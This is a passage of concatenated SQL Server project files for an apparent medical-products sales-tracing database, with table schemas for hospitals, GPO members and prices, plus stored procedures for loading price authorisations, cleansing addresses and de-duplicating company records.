[HOSPITAL_PARENT_ID] VARCHAR (MAX) NULL,
[HOSPITAL_PARENT_NAME] VARCHAR (MAX) NULL,
[WEBSITE] VARCHAR (MAX) NULL,
[NUMBER_HOSPITALS] VARCHAR (MAX) NULL,
[HQ_COUNTY] VARCHAR (MAX) NULL,
[HQ_REGION] VARCHAR (MAX) NULL,
[TOT_MEDICARE_CLAIMS] VARCHAR (MAX) NULL,
[TOT_MEDICARE_CHARGES] VARCHAR (MAX) NULL,
[HQ_ADDRESS1] VARCHAR (MAX) NULL,
[TOT_MEDICARE_PAYMENTS] VARCHAR (MAX) NULL,
[BPCI_MODEL] VARCHAR (MAX) NULL,
[HQ_LATITUDE] VARCHAR (MAX) NULL,
[HQ_LONGITUDE] VARCHAR (MAX) NULL,
[DATE_ENTERED] VARCHAR (MAX) NULL,
[SF_PARENT_ACCOUNT_ID] VARCHAR (MAX) NULL,
[SF_PARENT_ACCOUNT_NAME] VARCHAR (MAX) NULL,
[COMPANY_STATUS] VARCHAR (MAX) NULL,
[FINANCIAL_DATA_DATE] VARCHAR (MAX) NULL,
[HOSPITAL_OWNERSHIP] VARCHAR (MAX) NULL,
[RELATED_TO_HOSPITAL] VARCHAR (MAX) NULL,
[RELATED_TO_ASC] VARCHAR (MAX) NULL,
[RELATED_TO_PG] VARCHAR (MAX) NULL,
[RELATED_TO_IMAGING] VARCHAR (MAX) NULL,
[RELATED_TO_SNF] VARCHAR (MAX) NULL,
[RELATED_TO_HHA] VARCHAR (MAX) NULL,
[RELATED_TO_HOSPICE] VARCHAR (MAX) NULL,
[RELATED_TO_PAYOR] VARCHAR (MAX) NULL,
[ACCREDITATION_AGENCY] VARCHAR (MAX) NULL,
[ALLOWANCES_FOR_UNCOLLECTIBLE] VARCHAR (MAX) NULL,
[AVG_DAILY_CENSUS] VARCHAR (MAX) NULL,
[CASH_ON_HAND] VARCHAR (MAX) NULL,
[TEMP_INVESTMENTS] VARCHAR (MAX) NULL,
[ACCOUNTS_RECEIVABLE] VARCHAR (MAX) NULL,
[TOT_CURRENT_ASSETS] VARCHAR (MAX) NULL,
[TOT_FIXED_ASSETS] VARCHAR (MAX) NULL,
[TOT_OTHER_ASSETS] VARCHAR (MAX) NULL,
[TOT_ASSETS] VARCHAR (MAX) NULL,
[AVG_LOS] VARCHAR (MAX) NULL,
[AVG_LOS_TITLE_XVIII] VARCHAR (MAX) NULL,
[AVG_LOS_XIX] VARCHAR (MAX) NULL,
[ADMISSIONS] VARCHAR (MAX) NULL,
[ADMISSIONS_TITLE_XVIII] VARCHAR (MAX) NULL,
[ADMISSIONS_TITLE_XIX] VARCHAR (MAX) NULL,
[INVENTORY] VARCHAR (MAX) NULL,
[TOTAL_DEDUCTIONS] VARCHAR (MAX) NULL,
[TOT_OPERATING_EXPENSES] VARCHAR (MAX) NULL,
[TOT_DEDUCTIONS] VARCHAR (MAX) NULL,
[NET_INCOME] VARCHAR (MAX) NULL,
[TOTAL_GENERAL_INPATIENT_REV] VARCHAR (MAX) NULL,
[GPO_NAME_FOR_EXPORT] VARCHAR (MAX) NULL,
[CURRENT_TIMESTAMP] DATETIME DEFAULT (getdate()) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/CNT/Stored Procedures/spGET_CONTRACT_BY_NUMBER.sql
CREATE PROCEDURE [CNT].[spGET_CONTRACT_BY_NUMBER]
@name varchar(7)
AS
BEGIN
SET NOCOUNT ON;
select TOP 10 cnt_nr FROM [CNT_DEV].[CONTRACT] where cnt_nr like '%' +@name +'%'
END
<file_sep>/PDI_SALESTRACING_DEV/Security/NICEPAK_cdalal.sql
CREATE USER [NICEPAK\cdalal] FOR LOGIN [NICEPAK\cdalal];
<file_sep>/PDI_SALESTRACING_DEV/CNT/Stored Procedures/spGET_PRODUCT_PRICE_VOLUME_DETAILS_BY_ID.sql
CREATE PROCEDURE CNT.spGET_PRODUCT_PRICE_VOLUME_DETAILS_BY_ID
@productId varchar(30)
AS
BEGIN
SET NOCOUNT ON;
SELECT
TOP 1 [PROD_ID],
[PRODUCT_DESC],
[LIST_PRICE],
[ASP6],
[ASP12],
[VIZ_TIER_1],
[AMERI_TIER_1],
[AMERI_TIER_2],
[HPG_PRC],
[CURR_VOL]
FROM [PROD].[PROD_PRC_COMPARISON]
where [PROD_ID] like @productId + '%'
END
<file_sep>/PDI_SALESTRACING_DEV/CNT/Stored Procedures/spLOAD_PRC_AUTH_EB.sql
CREATE PROCEDURE [CNT].[spLOAD_PRC_AUTH_EB]
WITH EXEC AS CALLER
AS
BEGIN
-- THERE ARE MANY DUPLICATES WITH MULTIPLE ACTIVATION OF SAME RECORDS -- SO NEED TO TAKE THE MAX ACTIVATION DATE
INSERT INTO CNT.PRC_AUTH_EB
(
GPO_NM, GPO_MBR_ID, GPO_MBR_NM, GPO_MBR_ADDR1, GPO_MBR_ADDR2, GPO_MBR_CITY, GPO_MBR_ST, GPO_MBR_ZIP,
GPO_CNT_NR, MFG_CNT_NR, TIER_NR, PRC_EFF_DT, PRC_EXP_DT, PRC_ACT_NR, PRC_ACT_DT,
LIC_NR, STATUS, DEA, GLN, HIN, SEGMENT,
REC_STAT_CD, EDI_TRANSFER_STAT, [CURRENT_TIMESTAMP])
SELECT
GPO_NM, GPO_MBR_ID, GPO_MBR_NM, GPO_MBR_ADDR1, GPO_MBR_ADDR2, GPO_MBR_CITY, GPO_MBR_ST, GPO_MBR_ZIP,
GPO_CNT_NR, MFG_CNT_NR, TIER_NR, MAX(PRC_EFF_DT), max(PRC_EXP_DT), MAX(PRC_ACT_NR), MAX(PRC_ACT_DT),
LIC_NR, STATUS, DEA, GLN, HIN, SEGMENT,
REC_STAT, 'P', max([CURRENT_TIMESTAMP])
FROM STAGE.PRC_AUTH
-- WHERE LOAD_IN = 'P'
GROUP BY
GPO_NM, GPO_MBR_ID, GPO_MBR_NM, GPO_MBR_ADDR1, GPO_MBR_ADDR2, GPO_MBR_CITY, GPO_MBR_ST, GPO_MBR_ZIP,
GPO_CNT_NR, MFG_CNT_NR, TIER_NR,LIC_NR, STATUS, DEA, GLN, HIN, SEGMENT, REC_STAT;
-- DIX REC EFF AND EXP DATE
UPDATE CNT.PRC_AUTH_EB SET REC_EFF_DT = CASE
WHEN PRC_ACT_DT IS NULL AND PRC_EFF_DT IS NOT NULL THEN PRC_EFF_DT
WHEN PRC_ACT_DT IS NOT NULL AND PRC_EFF_DT IS NULL THEN PRC_ACT_DT
ELSE CONVERT(DATE,[CURRENT_TIMESTAMP]) end,
REC_EXP_DT = CONVERT(DATE,'9999-12-31')
WHERE EDI_TRANSFER_STAT = 'P';
--UPDATE STAGE.PRC_AUTH SET LOAD_IN = 'C' WHERE LOAD_IN = 'P';
-- ADDRESS CLEANSING --
TRUNCATE TABLE MDM_STAGE.TEMP_ADDR;
INSERT INTO MDM_STAGE.TEMP_ADDR (SRC_ID, ADDR_1, ADDR_2 )
SELECT PRC_AUTH_ID, GPO_MBR_ADDR1, GPO_MBR_ADDR2
FROM CNT.PRC_AUTH_EB
WHERE EDI_TRANSFER_STAT = 'P';
-- Process Address -- This will have clean address in the 'TEMP_ADDR_PARTS table
EXEC [STAGE].[spADDR_LAUNDRY];
UPDATE T SET
GPO_MBR_ADDR1 = S.ADDR_1,
GPO_MBR_ADDR2 = S.ADDR_2
FROM CNT.PRC_AUTH_EB T
JOIN MDM_STAGE.TEMP_ADDR_PARTS S ON T.PRC_AUTH_ID = S.SRC_ID
WHERE EDI_TRANSFER_STAT = 'P';
-- FIX ZIP CODE
UPDATE CNT.PRC_AUTH_EB
SET GPO_MBR_ZIP= '0'+GPO_MBR_ZIP
WHERE LEN(GPO_MBR_ZIP ) = 4
AND EDI_TRANSFER_STAT = 'P';
-- FIX STATE NAME
UPDATE E
SET E.GPO_MBR_ST = Z.State
FROM CNT.PRC_AUTH_EB E
JOIN REF.ZIP_CODE Z ON E.GPO_MBR_ZIP = Z.Zipcode
WHERE LEN(E.GPO_MBR_ST) > 2
AND EDI_TRANSFER_STAT = 'P';
-- EXCLUDE BAD RECORDS
UPDATE E
SET E.REC_STAT_CD = 'I'
FROM CNT.PRC_AUTH_EB E --REF.STATE_LIST
LEFT JOIN REF.STATE_LIST S ON E.GPO_MBR_ST = S.ST
WHERE S.ST IS NULL
AND EDI_TRANSFER_STAT = 'P';
/*
UPDATE T SET
T.CMPNY_ID = C.SRC_ID
FROM CNT.PRC_AUTH_EB T
JOIN MDM_STAGE.TEMP_ADDR_PARTS A ON T.PRC_AUTH_ID = A.SRC_ID
JOIN MDM_STAGE.CMPNY_ADDR_PARTS C ON
ISNULL(A.ST_NR,'na') = ISNULL(C.ST_NR,'na')
AND ISNULL(A.ST_NM,'na') = ISNULL(C.ST_NM,'na')
AND ISNULL(A.STE_NR,'na') = ISNULL(C.STE_NR,'na');
TRUNCATE TABLE MDM_STAGE.TEMP_ADDR_PARTS;
*/
END<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/DIST_PRICE.sql
CREATE TABLE [STAGE].[DIST_PRICE] (
[DISTID] VARCHAR (30) NOT NULL,
[ITEMID] VARCHAR (30) NOT NULL,
[EFFDATE] DECIMAL (8) NOT NULL,
[EXPDATE] DECIMAL (8) NOT NULL,
[CS_PRICE] DECIMAL (8, 2) NULL,
[BX_PRICE] DECIMAL (8, 2) NULL,
[EA_PRICE] DECIMAL (8, 2) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/20181101.sql
CREATE TABLE [STAGE].[20181101] (
[COITEMCOST] VARCHAR (50) NULL,
[UPD_CS_PRC] VARCHAR (50) NULL,
[COITEMID] VARCHAR (50) NULL,
[COCONTID] VARCHAR (50) NULL,
[trc_cnt_id] VARCHAR (50) NULL,
[UPD_CNT_ID] VARCHAR (50) NULL,
[SALES_PERIOD] VARCHAR (50) NULL,
[dist_nr] VARCHAR (50) NULL,
[dist_id] VARCHAR (50) NULL,
[DISTID] VARCHAR (50) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spCLEANSE_FOR_ROADWAY.sql
CREATE PROCEDURE [STAGE].[spCLEANSE_FOR_ROADWAY]
WITH EXEC AS CALLER
AS
BEGIN
UPDATE T
SET
ST_TYP_1 = A.ADDR_STD,
ST_NM_1 = STAGE.fnGet_FirstPart(T.ST_1, LEN(T.ST_1)-LEN(A.ADDR_VAR)),
ADDR_SRC_CNFD = 100, ADDR_SRCE = 1
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON LTRIM(RTRIM(STAGE.fnLastWord(T.ST_1))) = LTRIM(RTRIM(A.ADDR_VAR)) AND A.CAT IN ('Location','Roadway')
WHERE T.ST_1 IS NOT NULL ;
UPDATE T
SET
ST_TYP_2 = A.ADDR_STD,
ST_NM_2 = STAGE.fnGet_FirstPart(T.ST_2, LEN(T.ST_2)-LEN(A.ADDR_VAR)),
ADDR_SRC_CNFD = 100, ADDR_SRCE = 2
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON LTRIM(RTRIM(STAGE.fnLastWord(T.ST_2))) = LTRIM(RTRIM(A.ADDR_VAR)) AND A.CAT IN ('Location','Roadway')
WHERE T.ST_2 IS NOT NULL
AND ADDR_SRCE IS NULL;
UPDATE T
SET
ST_TYP_1 = A.ADDR_STD,
ST_NM_1 = STAGE.fnGet_FirstPart(T.ST_1, CHARINDEX(' '+A.ADDR_VAR+' ', ST_1)),
SUFFIX = LTRIM(STAGE.fnSecondPart(ST_1, CHARINDEX(' '+A.ADDR_VAR+' ', ST_1)+LEN(A.ADDR_VAR)+1)),
ADDR_SRC_CNFD = 100, ADDR_SRCE = 1
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON T.ST_1 LIKE '% '+A.ADDR_VAR+' %' AND A.CAT = 'Roadway'
WHERE T.ST_1 IS NOT NULL
AND ADDR_SRCE IS NULL
AND LTRIM(RTRIM(A.ADDR_VAR)) <> 'ST';
UPDATE T
SET
ST_TYP_2 = A.ADDR_STD,
ST_NM_2 = STAGE.fnGet_FirstPart(T.ST_2, CHARINDEX(' '+A.ADDR_VAR+' ', ST_2)),
SUFFIX = LTRIM(STAGE.fnSecondPart(ST_2, CHARINDEX(' '+A.ADDR_VAR+' ', ST_2)+LEN(A.ADDR_VAR)+1)),
ADDR_SRC_CNFD = 100, ADDR_SRCE = 2
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON T.ST_2 LIKE '% '+A.ADDR_VAR+' %' AND A.CAT = 'Roadway'
WHERE T.ST_2 IS NOT NULL
AND ADDR_SRCE IS NULL
AND LTRIM(RTRIM(A.ADDR_VAR)) <> 'ST';
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET
ST_TYP_1 = 'ST',
ST_NM_1 = RTRIM(LEFT(ST_1,STAGE.fnFind_Rdwy_Pos(ST_1,'ST'))),
SUFFIX = LTRIM(RIGHT(ST_1, LEN(ST_1)-STAGE.fnFind_Rdwy_Pos(ST_1,'ST')-LEN('ST'))),
ADDR_SRC_CNFD = 100, ADDR_SRCE = 1
WHERE ST_1 LIKE '% ST %'
AND ST_1 IS NOT NULL
AND ADDR_SRCE IS NULL;
UPDATE STAGE.TEMP_ADDR_LAUNDRY
SET
ST_TYP_2 = 'ST',
ST_NM_2 = RTRIM(LEFT(ST_2,STAGE.fnFind_Rdwy_Pos(ST_2,'ST'))),
SUFFIX = LTRIM(RIGHT(ST_2, LEN(ST_2)-STAGE.fnFind_Rdwy_Pos(ST_2,'ST')-LEN('ST'))),
ADDR_SRC_CNFD = 100, ADDR_SRCE = 2
WHERE ST_2 LIKE '% ST %'
AND ST_2 IS NOT NULL
AND ADDR_SRCE IS NULL;
UPDATE T
SET
ST_TYP_1 = A.ADDR_STD,
ST_NM_1 = NULL,
SUFFIX = LTRIM(RTRIM(STAGE.fnSecondPart(ST_1, LEN(A.ADDR_VAR)+1))),
ADDR_SRC_CNFD = 100, ADDR_SRCE = 1
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON STAGE.fnFirstWord(ST_1) = A.ADDR_VAR
WHERE A.CAT = 'Roadway'
AND ST_1 IS NOT NULL
AND ADDR_SRCE IS NULL
AND STAGE.fnFirstWord(ST_1) <> 'ST';
UPDATE T
SET
ST_TYP_2 = A.ADDR_STD,
ST_NM_2 = NULL,
SUFFIX = LTRIM(RTRIM(STAGE.fnSecondPart(ST_2, LEN(A.ADDR_VAR)+1))),
ADDR_SRC_CNFD = 100, ADDR_SRCE = 2
FROM STAGE.TEMP_ADDR_LAUNDRY T
JOIN REF.ADDR_STD A ON STAGE.fnFirstWord(ST_2) = A.ADDR_VAR
WHERE A.CAT = 'Roadway'
AND ST_2 IS NOT NULL
AND ADDR_SRCE IS NULL
AND STAGE.fnFirstWord(ST_2) <> 'ST';
--SELECT REPLACE('30 NORTH',' NORTH',' N')
END<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/GPO_MEMBER.sql
CREATE TABLE [STG0].[GPO_MEMBER] (
[GPO_CMPNY_ID] VARCHAR (MAX) NULL,
[SRC_GPO_MEMBER_ID] VARCHAR (MAX) NULL,
[SRC_GPO_MEMBER_ALT_ID] VARCHAR (MAX) NULL,
[MMBR_NM] VARCHAR (MAX) NULL,
[MMBR_ADDR_1] VARCHAR (MAX) NULL,
[MMBR_ADDR_2] VARCHAR (MAX) NULL,
[MMBR_CITY] VARCHAR (MAX) NULL,
[MMBR_ST] VARCHAR (MAX) NULL,
[MMBR_ZIP] VARCHAR (10) NULL,
[MMBR_CNTRY] VARCHAR (MAX) NULL,
[GLN_NR] VARCHAR (MAX) NULL,
[HIN_NR] VARCHAR (MAX) NULL,
[DEA_NR] VARCHAR (MAX) NULL,
[NPI_NR] VARCHAR (MAX) NULL,
[MMBR_EFF_DT] DATE NULL,
[MMBR_EXP_DT] DATE NULL,
[MMB_ACT_STAT_CD] VARCHAR (MAX) NULL,
[MMBR_STATUS] VARCHAR (MAX) NULL,
[GPO_MEMBER_PARENT_ID] VARCHAR (MAX) NULL,
[GPO_MEMBER_PARENT_NM] VARCHAR (MAX) NULL,
[GPO_MEMBER_LIC_NR] VARCHAR (MAX) NULL,
[MMBR_SGMNT] VARCHAR (MAX) NULL,
[GPO_NM] VARCHAR (MAX) NULL,
[CURRENT TIMESTAMP] VARCHAR (MAX) DEFAULT (getdate()) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/CMS_PDI_GROUP_XREF.sql
CREATE TABLE [STAGE].[CMS_PDI_GROUP_XREF] (
[PDI_CMS_GRP] NVARCHAR (255) NULL,
[PDI_GRP_ID] FLOAT (53) NULL,
[GRP_SHRT_NM] NVARCHAR (255) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spUniq_Flag.sql
CREATE PROCEDURE [STAGE].[spUniq_Flag]
WITH EXEC AS CALLER
AS
BEGIN
UPDATE STAGE.DHC_COMPANY
SET UNIQ_FLAG = NULL;
UPDATE D1
SET UNIQ_FLAG = 1
FROM STAGE.DHC_COMPANY D1,
( SELECT DHC_CO_ADDR_1, DHC_CO_ZIP, COUNT(*) CNT
FROM STAGE.DHC_COMPANY
WHERE DHC_CO_ADDR_2 IS NULL
GROUP BY DHC_CO_ADDR_1, DHC_CO_ZIP
HAVING COUNT(*) = 1) D2
WHERE D1.DHC_CO_ADDR_1 = D2.DHC_CO_ADDR_1
AND D1.DHC_CO_ZIP = D2.DHC_CO_ZIP
AND DHC_CO_ADDR_2 IS NULL;
--Assigning address uniqueness to DHC
UPDATE D1
SET UNIQ_FLAG = 2
FROM STAGE.DHC_COMPANY D1,
(SELECT DHC_CO_ADDR_1, DHC_CO_ADDR_2, DHC_CO_ZIP, COUNT(*) CNT
FROM STAGE.DHC_COMPANY
WHERE DHC_CO_ADDR_2 IS NOT NULL AND UNIQ_FLAG IS NULL
GROUP BY DHC_CO_ADDR_1, DHC_CO_ADDR_2,DHC_CO_ZIP
HAVING COUNT(*) = 1) D2
WHERE D1.DHC_CO_ADDR_1 = D2.DHC_CO_ADDR_1
AND D1.DHC_CO_ADDR_2 = D2.DHC_CO_ADDR_2
AND D1.DHC_CO_ZIP = D2.DHC_CO_ZIP
AND D1.DHC_CO_ADDR_2 IS NOT NULL
AND D1.UNIQ_FLAG IS NULL;
UPDATE D1
SET UNIQ_FLAG = 12
FROM STAGE.DHC_COMPANY D1,
(SELECT DHC_CO_ADDR_1, DHC_CO_ADDR_2, DHC_CO_ZIP, COUNT(*) CNT
FROM STAGE.DHC_COMPANY
WHERE DHC_CO_ADDR_2 IS NOT NULL AND UNIQ_FLAG IS NULL
GROUP BY DHC_CO_ADDR_1, DHC_CO_ADDR_2,DHC_CO_ZIP
HAVING COUNT(*) > 1) D2
WHERE D1.DHC_CO_ADDR_1 = D2.DHC_CO_ADDR_1
AND D1.DHC_CO_ADDR_2 = D2.DHC_CO_ADDR_2
AND D1.DHC_CO_ZIP = D2.DHC_CO_ZIP
AND D1.DHC_CO_ADDR_2 IS NOT NULL
AND D1.UNIQ_FLAG IS NULL;
UPDATE D1
SET UNIQ_FLAG = 11
FROM STAGE.DHC_COMPANY D1,
(SELECT DHC_CO_ADDR_1, DHC_CO_ZIP, COUNT(*) CNT
FROM STAGE.DHC_COMPANY
WHERE DHC_CO_ADDR_2 IS NULL AND UNIQ_FLAG IS NULL
GROUP BY DHC_CO_ADDR_1, DHC_CO_ZIP
HAVING COUNT(*) > 1) D2
WHERE D1.DHC_CO_ADDR_1 = D2.DHC_CO_ADDR_1
AND D1.DHC_CO_ZIP = D2.DHC_CO_ZIP
AND D1.DHC_CO_ADDR_2 IS NULL
AND D1.UNIQ_FLAG IS NULL;
END;<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/LIST_PRICE.sql
CREATE TABLE [STAGE].[LIST_PRICE] (
[ITEM NO] VARCHAR (15) NULL,
[EFF DATE] DECIMAL (8) NULL,
[EXP DATE] DECIMAL (8) NULL,
[CS_PRICE] DECIMAL (38, 2) NULL,
[BX_PRICE] DECIMAL (38, 8) NULL,
[EA_PRICE] DECIMAL (38, 8) NULL,
[FTP_CS_PRICE] DECIMAL (38, 2) NULL,
[BX] INT NULL,
[EA] INT NULL,
[PK] INT NULL,
[YEAR] INT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/PDI_PG_Physicians.sql
CREATE TABLE [STAGE].[PDI_PG_Physicians] (
[PG_DEF_ID] INT NULL,
[PG_NAME] VARCHAR (MAX) NULL,
[NPI] INT NULL,
[LAST_NAME] VARCHAR (MAX) NULL,
[FIRST_NAME] VARCHAR (MAX) NULL,
[HQ_CITY] VARCHAR (MAX) NULL,
[HQ_STATE] VARCHAR (MAX) NULL,
[HQ_ZIP_CODE] INT NULL,
[HQ_PHONE] VARCHAR (MAX) NULL,
[MEDICARE_CLAIMS] FLOAT (53) NULL,
[MEDICARE_CHARGE_AMT] FLOAT (53) NULL,
[MEDICARE_PAYMENT_AMT] FLOAT (53) NULL,
[MEDICARE_ALLOWED_AMT] FLOAT (53) NULL,
[SPECIALTY_PRIMARY] VARCHAR (MAX) NULL,
[SPECIALTY_SECONDARY] VARCHAR (MAX) NULL,
[PRIMARY_AFFILIATION_HOSPITAL_NAME] VARCHAR (MAX) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/Security/CONT.sql
CREATE SCHEMA [CONT]
AUTHORIZATION [NICEPAK\htarafder];
<file_sep>/PDI_SALESTRACING_DEV/REF/Tables/NAD_STD.sql
CREATE TABLE [REF].[NAD_STD] (
[ADDR_TYP] VARCHAR (50) NULL,
[ADDR_VAR] VARCHAR (50) NULL,
[ADDR_STD] VARCHAR (400) NULL,
[CAT] VARCHAR (50) NULL,
[SUB_CAT] VARCHAR (20) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spLOAD_DHC_TO_COMPANY.sql
CREATE PROCEDURE [STAGE].[spLOAD_DHC_TO_COMPANY]
WITH EXEC AS CALLER
AS
BEGIN
---------------------------------------
--- Load Company Master Data from DHC
---------------------------------------
TRUNCATE TABLE CMPNY.COMPANY;
-- FIRST LOAD THE UNQIUE ADDRESS DATA WHICH DOES NOT HAVE DUPLICATES
INSERT INTO CMPNY.COMPANY
( SRC_CMPNY_ID, CMPNY_NM, CMPNY_ALT_NM, ALT_NM_TYP, CMPNY_ADDR_1, CMPNY_ADDR_2, CMPNY_CITY,
CMPNY_ST, CMPNY_ZIP, CMPNY_CNTRY,
CMPNY_TYP_ID, CMPNY_CTGRY_ID, CMPNY_SGMNT_ID, CMPNY_SUB_SGMNT_ID,
COMPANY_URL, NPI_NR, GLN_NR, HIN_NR, DEA_NR,
REC_EFF_DT, REC_EXP_DT, REC_STAT_IN, SRC_ID, CMPNY_PRNT_SRC_ID, IDN_SRC_ID, IDN_PRNT_SRC_ID )
SELECT
DHC_CO_ID, DHC_CO_NM_1, DHC_CO_NM_2, DHC_CO_NM_2_TYP, DHC_CO_ADDR_1, DHC_CO_ADDR_2, UPDT_CO_CITY,
DHC_CO_ST, DHC_CO_ZIP, DHC_CO_CNTRY,
T.CMPNY_TYP_ID,
1 AS CMPNY_CTGRY_ID, -- Primary Account
S.CMPNY_SGMNT_ID ,
SS.CMPNY_SUB_SGMNT_ID ,
DHC_CO_WEBSITE, NPI_NR, GLN_NR, HIN_NR, DEA_NR,
CONVERT(DATE,GETDATE()) AS REC_EFF_DT, CONVERT(DATE,'9999-12-31') AS REC_EXP_DT, 'A',
DS.CMPNY_SRCE_ID, C.HSPTL_PARENT_ID, C.DHC_NTWRK_ID, C.DHC_NTWRK_PARENT_ID
FROM STAGE.DHC_COMPANY C
LEFT JOIN CMPNY.COMPANY_TYPE T ON T.CMPNY_TYP_NM = 'EU'
LEFT JOIN CMPNY.COMPANY_SEGMENT S ON C.DHC_CO_CAT_CD = S.CMPNY_SGMNT_NM
LEFT JOIN CMPNY.COMPANY_SUB_SEGMENT SS ON S.CMPNY_SGMNT_ID = SS.CMPNY_SGMNT_ID AND C.DHC_CO_SUB_CAT = SS.CMPNY_SUB_SGMNT_NM
LEFT JOIN CMPNY.COMPANY_DATA_SOURCE DS ON DS.CMPNY_SRCE_NM = 'DHC'
WHERE C.UNIQ_FLAG IN (1,2)
---------------------------------------
--Pick one record only from duplicates
---------------------------------------
-- LOAD BY PRIORITY OF COMPANY TYPE - IF THERE IS MORE THAN ONE
INSERT INTO CMPNY.COMPANY
( SRC_CMPNY_ID, CMPNY_NM, CMPNY_ALT_NM, ALT_NM_TYP, CMPNY_ADDR_1, CMPNY_ADDR_2, CMPNY_CITY,
CMPNY_ST, CMPNY_ZIP, CMPNY_CNTRY,
CMPNY_TYP_ID, CMPNY_CTGRY_ID, CMPNY_SGMNT_ID, CMPNY_SUB_SGMNT_ID,
COMPANY_URL, NPI_NR, GLN_NR, HIN_NR, DEA_NR,
REC_EFF_DT, REC_EXP_DT, REC_STAT_IN, SRC_ID,
CMPNY_PRNT_SRC_ID, IDN_SRC_ID, IDN_PRNT_SRC_ID)
SELECT C.DHC_CO_ID, C.DHC_CO_NM_1, C.DHC_CO_NM_2, C.DHC_CO_NM_2_TYP, C.DHC_CO_ADDR_1, C.DHC_CO_ADDR_2, C.UPDT_CO_CITY,
C.DHC_CO_ST, C.DHC_CO_ZIP, C.DHC_CO_CNTRY,
T.CMPNY_TYP_ID,
99 AS CMPNY_CTGRY_ID, -- MULTIPLE - have those in the name table for matching purpose
--1 AS CMPNY_CTGRY_ID, -- Primary Account
S.CMPNY_SGMNT_ID ,
SS.CMPNY_SUB_SGMNT_ID ,
DHC_CO_WEBSITE, NPI_NR, GLN_NR, HIN_NR, DEA_NR,
CONVERT(DATE,GETDATE()) AS REC_EFF_DT, CONVERT(DATE,'9999-12-31') AS REC_EXP_DT, 'A',
DS.CMPNY_SRCE_ID, C.HSPTL_PARENT_ID, C.DHC_NTWRK_ID, C.DHC_NTWRK_PARENT_ID
FROM STAGE.DHC_COMPANY C
JOIN
( SELECT MAX(C.DHC_CO_ID) AS DHC_CO_ID
FROM STAGE.DHC_COMPANY C
JOIN
( SELECT MAX(C.MFP_FLAG) AS MFP_FLAG, C.UPD_ADDR1, C.DHC_CO_ZIP
FROM STAGE.DHC_COMPANY C
WHERE C.UNIQ_FLAG = 11
--and C.DHC_CO_ADDR_1 = '709 Walnut St'
GROUP BY C.UPD_ADDR1, C.DHC_CO_ZIP )
I ON C.MFP_FLAG = I.MFP_FLAG AND C.UPD_ADDR1 = I.UPD_ADDR1 AND C.DHC_CO_ZIP= I.DHC_CO_ZIP
GROUP BY I.MFP_FLAG, I.UPD_ADDR1, I.DHC_CO_ZIP
) I1 ON C.DHC_CO_ID = I1.DHC_CO_ID
LEFT JOIN CMPNY.COMPANY_TYPE T ON T.CMPNY_TYP_NM = 'EU'
LEFT JOIN CMPNY.COMPANY_SEGMENT S ON C.DHC_CO_CAT_CD = S.CMPNY_SGMNT_NM
LEFT JOIN CMPNY.COMPANY_SUB_SEGMENT SS ON S.CMPNY_SGMNT_ID = SS.CMPNY_SGMNT_ID AND C.DHC_CO_SUB_CAT = SS.CMPNY_SUB_SGMNT_NM
LEFT JOIN CMPNY.COMPANY_DATA_SOURCE DS ON DS.CMPNY_SRCE_NM = 'DHC'
WHERE C.UNIQ_FLAG =11;
INSERT INTO CMPNY.COMPANY
( SRC_CMPNY_ID, CMPNY_NM, CMPNY_ALT_NM, ALT_NM_TYP, CMPNY_ADDR_1, CMPNY_ADDR_2, CMPNY_CITY,
CMPNY_ST, CMPNY_ZIP, CMPNY_CNTRY,
CMPNY_TYP_ID, CMPNY_CTGRY_ID, CMPNY_SGMNT_ID, CMPNY_SUB_SGMNT_ID,
COMPANY_URL, NPI_NR, GLN_NR, HIN_NR, DEA_NR,
REC_EFF_DT, REC_EXP_DT, REC_STAT_IN, SRC_ID,
CMPNY_PRNT_SRC_ID, IDN_SRC_ID, IDN_PRNT_SRC_ID)
SELECT C.DHC_CO_ID, C.DHC_CO_NM_1, C.DHC_CO_NM_2, C.DHC_CO_NM_2_TYP, C.DHC_CO_ADDR_1, C.DHC_CO_ADDR_2, C.UPDT_CO_CITY,
C.DHC_CO_ST, C.DHC_CO_ZIP, C.DHC_CO_CNTRY,
T.CMPNY_TYP_ID,
99 AS CMPNY_CTGRY_ID, -- MULTIPLE - have those in the name table for matching purpose
--1 AS CMPNY_CTGRY_ID, -- Primary Account
S.CMPNY_SGMNT_ID ,
SS.CMPNY_SUB_SGMNT_ID ,
DHC_CO_WEBSITE, NPI_NR, GLN_NR, HIN_NR, DEA_NR,
CONVERT(DATE,GETDATE()) AS REC_EFF_DT, CONVERT(DATE,'9999-12-31') AS REC_EXP_DT, 'A',
DS.CMPNY_SRCE_ID, C.HSPTL_PARENT_ID, C.DHC_NTWRK_ID, C.DHC_NTWRK_PARENT_ID
FROM STAGE.DHC_COMPANY C
JOIN
( SELECT MAX(C.DHC_CO_ID) AS DHC_CO_ID
FROM STAGE.DHC_COMPANY C
JOIN
( SELECT MAX(C.MFP_FLAG) AS MFP_FLAG, C.UPD_ADDR1, C.UPD_ADDR2, C.DHC_CO_ZIP
FROM STAGE.DHC_COMPANY C
WHERE C.UNIQ_FLAG = 12
--and C.DHC_CO_ADDR_1 = '709 Walnut St'
GROUP BY C.UPD_ADDR1, C.UPD_ADDR2, C.DHC_CO_ZIP )
I ON C.MFP_FLAG = I.MFP_FLAG AND C.UPD_ADDR1 = I.UPD_ADDR1 AND C.UPD_ADDR2 = I.UPD_ADDR2 AND C.DHC_CO_ZIP= I.DHC_CO_ZIP
